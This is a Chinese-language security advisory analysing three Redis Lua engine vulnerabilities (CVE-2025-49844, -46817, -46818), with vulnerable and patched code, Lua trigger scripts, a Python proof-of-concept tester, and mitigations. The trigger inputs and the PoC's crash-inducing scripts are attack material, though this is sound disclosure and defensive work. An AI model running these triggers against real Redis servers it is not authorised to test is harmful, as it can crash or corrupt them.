摘要

本報告針對在 Redis 的 Lua 腳本引擎中發現的三個關鍵漏洞 (CVE-2025-49844、CVE-2025-46817 和 CVE-2025-46818) 提供了全面的技術分析。這些漏洞涵蓋了 use-after-free、integer overflow (整數溢位) 和 privilege escalation (權限提升),構成了重大的安全風險,包括 remote code execution (遠端程式碼執行)。本分析檢視了有漏洞的程式碼模式、底層的攻擊機制以及對應的 proof-of-concept (概念驗證) 實作。同時也討論了 Redis 實例的緩解策略和最佳實務。

Redis 8.2.1 關鍵漏洞分析:從 Use-After-Free 到 Integer Overflow 的 3 大 Lua 引擎缺陷 | 資訊安全新聞

1. 簡介

Redis 是一個開源的記憶體內建資料結構儲存庫(In-memory data structure store),被廣泛用作資料庫、快取(cache)和訊息代理(message broker)。其整合的 Lua 腳本引擎極大地增強了它的多功能性,該引擎允許原子性地執行複雜的操作。然而,Lua 腳本的威力和靈活性如果沒有安全地實作,也會帶來潛在的攻擊面。最近,在 Redis 的 Lua 腳本引擎中發現了三個關鍵漏洞,特別是影響版本 8.2.1 及更早版本 [1, 2, 3]。這些漏洞,分別是 CVE-2025-49844、CVE-2025-46817 和 CVE-2025-46818,共同導致嚴重的安全漏洞,包括 remote code execution (RCE) 和 privilege escalation。本報告將對這些缺陷進行詳細的技術檢視,提供關於其性質、攻擊方法和預防措施的見解。

2. 漏洞分析

2.1. CVE-2025-49844: Lua Parser 中的 Use-After-Free

CVE-2025-49844 是一個位於 Lua parser (解析器) 內部,特別是在 luaY_parser 函式中的關鍵 use-after-free (UAF) 漏洞 [1]。此缺陷的產生是因為 TString 物件(在 Lua 中代表字串)在腳本解析期間沒有在 Lua stack (堆疊) 上得到充分保護。因此,Lua garbage collector (GC, 垃圾回收器) 可能在這些物件仍在使用時就提前釋放它們,導致 UAF 條件,攻擊者可以利用該條件進行 remote code execution。

deps/lua/src/lparser.c:387 中識別出的有漏洞的程式碼片段說明了這個問題:

  1. // deps/lua/src/lparser.c:387
  2. // Vulnerable: TString object created but not protected from GC
  3. Proto *luaY_parser(lua_State *L, ...) {
  4.     // luaS_new creates a TString but doesn't protect it on stack
  5.     // If GC runs here, the TString can be freed prematurely
  6.     luaX_setinput(L, &lexstate, z, luaS_new(L, name)); 
  7. }

在此 Context (環境) 中, luaS_new(L, name) 創建了一個新的 TString 物件。然而,這個物件被立即傳遞給 luaX_setinput ,而沒有被推入 Lua stack (堆疊) 或以其他方式明確受到 garbage collection 的保護。如果在 TString 創建之後和隨後的 usage (使用) 之間發生 garbage collection 週期,該物件可能會被釋放。存取這個已釋放的 memory (記憶體) 會導致 UAF,攻擊者可以利用它來 inject malicious code (注入惡意程式碼) 或更改程式流程。

此漏洞的 patch 通過在 stack (堆疊) 上明確保護 TString 物件來解決這個問題:

  1. // Fixed in commits 5785f3e6e, d5728cb57
  2. // Patched: TString is now protected on the stack before use
  3. Proto *luaY_parser(lua_State *L, ...) {
  4.     TString *tname = luaS_new(L, name);
  5.     
  6.     // Push TString onto the stack to protect from GC
  7.     setsvalue2s(L, L->top, tname); 
  8.     incr_top(L);  // Increment stack top pointer
  9.     
  10.     // Now safe to use tname as it's protected
  11.     luaX_setinput(L, &lexstate, z, tname);
  12. }

通過使用 setsvalue2s TString ( tname ) 推入 stack (堆疊) 並使用 incr_top(L) 增加 stack top pointer (堆疊頂部指標),該物件被標記為「in use (使用中)」並受到保護,防止提前 garbage collection,從而避免 UAF 條件。

graph TD     A[Script Parsing Starts] --> B[luaS_new creates TString]     B --> C{Is TString protected?}     C -->|No - Vulnerable| D[GC can run]     D --> E[TString freed prematurely]     E --> F[UAF: Access freed memory]     F --> G[Potential RCE]     C -->|Yes - Patched| H[TString pushed to stack]     H --> I[Protected from GC]     I --> J[Safe parsing continues]

2.2. CVE-2025-46817: unpack() 中的 Integer Overflow

CVE-2025-46817 是一個在 Lua base library (基礎函式庫) 的 unpack() 函式 ( lbaselib.c ) 中發現的 integer overflow (整數溢位) 漏洞 [1, 2]。 unpack() 函式會回傳指定索引之間給定 table (表格) 的所有 elements (元素)。該漏洞產生於使用公式 n = e - i + 1 計算要 unpack (解封包) 的 element (元素) 數量時,其中 e 是 end index (結束索引), i 是 start index (開始索引)。如果提供了 extreme values (極端值),此計算可能會導致 integer overflow,造成 stack corruption (堆疊損壞) 和潛在的 remote code execution。

CVE-2025-46817 的 NVD 記錄確認版本 8.2.1 及更早版本受到影響,並且此問題已在版本 8.2.2 中修復 [2]。該漏洞被歸類為 Integer Overflow or Wraparound (CWE-190) [2]。

  1. -- Exploitation example for CVE-2025-46817
  2. -- Calling unpack with extreme indices to trigger integer overflow
  3. -- Case 1: Large positive end index with negative start index
  4. return {unpack({1,2,3}, -2, 2147483647)}
  5. -- Calculation: n = 2147483647 - (-2) + 1 = 2147483650
  6. -- This overflows a 32-bit signed integer (max: 2147483647)
  7. -- Case 2: Both indices at extremes
  8. return {unpack({1,2,3}, -2147483648, 2147483647)}
  9. -- Calculation: n = 2147483647 - (-2147483648) + 1
  10. -- Results in massive overflow, potentially wrapping to negative

e - i + 1 overflow (溢位) 時,計算出的 element (元素) 數量 n 會變得不正確,可能是一個非常大的正數或負數。這個不正確的值隨後會用於後續的 memory operations (記憶體操作),例如將 elements (元素) 推入 stack (堆疊),從而導致 out-of-bounds writes (越界寫入) 或 reads (讀取)。攻擊者可以利用此類 memory corruption (記憶體損壞) 來 overwrite critical Data (覆寫關鍵資料) structures (結構) 或 inject malicious code。

CVE-2025-46817 的 Python PoC 透過向 unpack() 函式提供 extreme values (極端值) 來專門測試此問題 [1]。一個 patched server (修補過的伺服器) 將會回傳像 "too many results to unpack" 這樣的 error message (錯誤訊息),表示正確的 input validation (輸入驗證)。一個 vulnerable server (有漏洞的伺服器) 將會 crash (當掉) 或接受 malicious input (惡意輸入),證明該漏洞的存在。

2.3. CVE-2025-46818: Metatable privilege escalation

CVE-2025-46818 描述了一個與在 Lua 中修改 basic type (基本類型) metatables 相關的 privilege escalation 漏洞 [1, 3]。在 Lua 中,metatables 允許 customizes (客製化) values (值) 的行為方式。例如, __index metamethod 定義了當一個 table (表格) 被一個 non-existent key (不存在的鍵) 索引時會發生什麼。該漏洞產生於 basic type metatables (例如,for string , number , nil , boolean ) 未受到 read-only (唯讀) 保護。這允許 authenticated attacker (經過驗證的攻擊者) 修改這些 metatables,injecting code (注入程式碼) 隨後可以在其他 users (使用者) 的 Context (環境) 中或以 elevated privileges (提升的權限) 執行。

CVE-2025-46818 的 NVD 記錄顯示版本 8.2.1 及更早版本受到影響,並且修復包含在版本 8.2.2 中 [3]。該漏洞歸類為 CWE-94: Improper Control of Generation of Code ('Code Injection') [3]。

  1. -- Exploitation examples for CVE-2025-46818
  2. -- Attempting to modify basic type metatables
  3. -- Case 1: Modify nil metatable
  4. getmetatable(nil).__index = function() 
  5.     -- Malicious code here
  6.     return "compromised" 
  7. end
  8. -- Case 2: Modify string metatable
  9. getmetatable('').__index = function(t, k)
  10.     -- This executes whenever any string is indexed
  11.     -- Could leak data or execute arbitrary operations
  12.     return "injected"
  13. end
  14. -- Case 3: Modify number metatable
  15. getmetatable(123.456).__index = function()
  16.     -- Affects all number operations
  17.     return malicious_value
  18. end

此漏洞的核心在於能夠重新定義 fundamental Lua types (基礎 Lua 類型) 的行為。通過修改 basic type 的 __index metamethod,攻擊者可以導致 arbitrary code (任意程式碼) 在涉及該 type 的 operation (操作) 觸發 modified metamethod 時執行。例如,如果 nil 的 metatable 被修改,任何嘗試存取 nil value (值) 的 field (欄位) 的行為都可能觸發攻擊者 injected code (注入的程式碼)。

privilege escalation (權限提升) 方面發揮作用的情況是,如果 Redis 實例處理 multiple users (多個使用者) 或 applications (應用程式),並且 modified metatable 影響其他 potentially more privileged (可能具有更高權限) 的 scripts (腳本) 或 users (使用者) 的 execution context (執行環境)。通過將程式碼注入 fundamental Lua mechanism (基礎 Lua 機制),攻擊者可以繞過 intended security boundaries (預期的安全邊界)。

3. Proof of Concept 分析

所提供的 Python PoC script (腳本) 旨在測試 Redis 實例中的所有三個漏洞 [1]。它連接到指定的 Redis server (伺服器) 並執行一系列 tailored (客製化) 的 Lua scripts (腳本) 以觸發每個漏洞。該 PoC 實作為一個 Python class (類別),它初始化一個 Redis client connection (用戶端連線) 並包含三個主要的 test methods (測試方法):

  1. #!/usr/bin/env python3
  2. """
  3. Simplified PoC structure for Redis Lua Vulnerabilities
  4. """
  5. import redis
  6. class CVE_2025_PoC:
  7.     def __init__(self, host='127.0.0.1', port=6379):
  8.         # Initialize Redis client connection
  9.         self.client = redis.Redis(
  10.             host=host,
  11.             port=port,
  12.             decode_responses=False,
  13.             socket_timeout=5
  14.         )
  15.         self.client.ping()  # Verify connection
  16.     
  17.     def test_use_after_free(self):
  18.         """Test CVE-2025-49844: UAF in Lua Parser"""
  19.         # Step 1: Create memory pressure
  20.         for i in range(50):
  21.             huge_script = "local t = {}; " + \
  22.                 "; ".join([f"t[{j}] = string.rep('X', 10000)" 
  23.                           for j in range(50)])
  24.             self.client.eval(huge_script, 0)
  25.         
  26.         # Step 2: Interleave GC with parsing
  27.         for i in range(200):
  28.             if i % 2 == 0:
  29.                 self.client.eval("collectgarbage('collect')", 0)
  30.             else:
  31.                 unique_script = f"-- Script {i}\nreturn {i}"
  32.                 self.client.eval(unique_script, 0)
  33.     
  34.     def test_integer_overflow(self):
  35.         """Test CVE-2025-46817: Integer overflow in unpack()"""
  36.         test_scripts = [
  37.             "return {unpack({1,2,3}, -2, 2147483647)}",
  38.             "return {unpack({1,2,3}, 0, 2147483647)}",
  39.             "return {unpack({1,2,3}, -2147483648, -2)}"
  40.         ]
  41.         
  42.         for script in test_scripts:
  43.             try:
  44.                 self.client.eval(script, 0)
  45.                 print("VULNERABLE: Script accepted")
  46.             except redis.exceptions.ResponseError as e:
  47.                 if "too many results" in str(e):
  48.                     print("PATCHED: Correctly rejected")
  49.     
  50.     def test_metatable_modification(self):
  51.         """Test CVE-2025-46818: Metatable privilege escalation"""
  52.         test_scripts = [
  53.             "getmetatable(nil).__index = function() return 1 end",
  54.             "getmetatable('').__index = function() return 1 end",
  55.             "getmetatable(123.222).__index = function() return 1 end"
  56.         ]
  57.         
  58.         for script in test_scripts:
  59.             try:
  60.                 self.client.eval(script, 0)
  61.                 print("VULNERABLE: Metatable modified")
  62.             except redis.exceptions.ResponseError as e:
  63.                 if "readonly" in str(e).lower():
  64.                     print("PROTECTED: Metatable is readonly")

該 PoC 透過 targeted Lua scripts (目標式 Lua 腳本) 測試每個漏洞。針對 CVE-2025-49844,它 create memory pressure (建立記憶體壓力) 並將 garbage collection 與 script parsing (腳本解析) 交錯執行以觸發 UAF。針對 CVE-2025-46817,它向 unpack() 提供 extreme indices (極端索引) 以引起 integer overflow。針對 CVE-2025-46818,它嘗試修改 basic type metatables 以測試 privilege escalation 漏洞。

4. 緩解策略

解決這些 critical vulnerabilities (關鍵漏洞) 需要立即採取行動。主要的緩解措施是將 Redis 升級到 patched version (已修補的版本)。對於 self-managed instances (自行管理的實例),升級到 Redis 8.2.2 或更高版本至關重要,因為這些版本包含所有三個 CVE 的 fixes (修復) [1, 2, 3, 4]。

CVE ID Vulnerability Type CVSS Score Fixed Versions
CVE-2025-49844 Use-After-Free 10.0 (Critical) 8.2.2+, 8.0.4+, 7.4.6+, 7.2.11+
CVE-2025-46817 Integer Overflow 9.8 (Critical) 8.2.2+
CVE-2025-46818 Privilege Escalation 6.0 (Medium) 8.2.2+

除了 patching (修補) 之外,還有幾項 security best practices (安全最佳實務) 可以顯著減少 attack surface (攻擊面)。組織應使用 firewalls (防火牆) 和 network policies (網路策略) 來 restrict network Access (限制網路存取) 到 Redis 實例,確保只有 authorized systems (授權系統) 可以連線。必須 enforced strong authentication (強制執行強健的認證),並啟用 protected-mode 以防止 unauthenticated Access (未經驗證的存取)。Permissions (權限) 應遵循 least privilege (最小權限) 原則,並使用 Redis ACLs 來 limit (限制) 哪些 users (使用者) 可以 execute Lua scripts (執行 Lua 腳本)。對於 CVE-2025-46818,一個 workaround (權宜之計) 涉及透過 ACLs 限制 EVAL FUNCTION command families (命令家族),以防止 users (使用者) 執行 Lua scripts [3, 4]。

5. 結論

CVE-2025-49844、CVE-2025-46817 和 CVE-2025-46818 的發現突顯了持續進行 security auditing (安全稽核) 的關鍵重要性,即使對於像 Redis 這樣被廣泛採用的系統也是如此。這些漏洞源於 Lua 的 garbage collection、integer handling (整數處理) 和 metatable protection 機制中的 subtle flaws (細微缺陷),證明了 fundamental programming constructs (基礎編程結構) 如何成為 severe security compromises (嚴重安全威脅) 的 vector (載體)。remote code execution 和 privilege escalation 的潛在可能性強調了在任何使用 Lua scripting (Lua 腳本) 的 Redis Context (環境) 中,立即 patching (修補) 和嚴格應用 security best practices (安全最佳實務) 的必要性。強烈建議組織將其 Redis 實例升級到 patched versions (已修補的版本),並實施 comprehensive security measures (全面的安全措施) 以防範這些以及未來的威脅。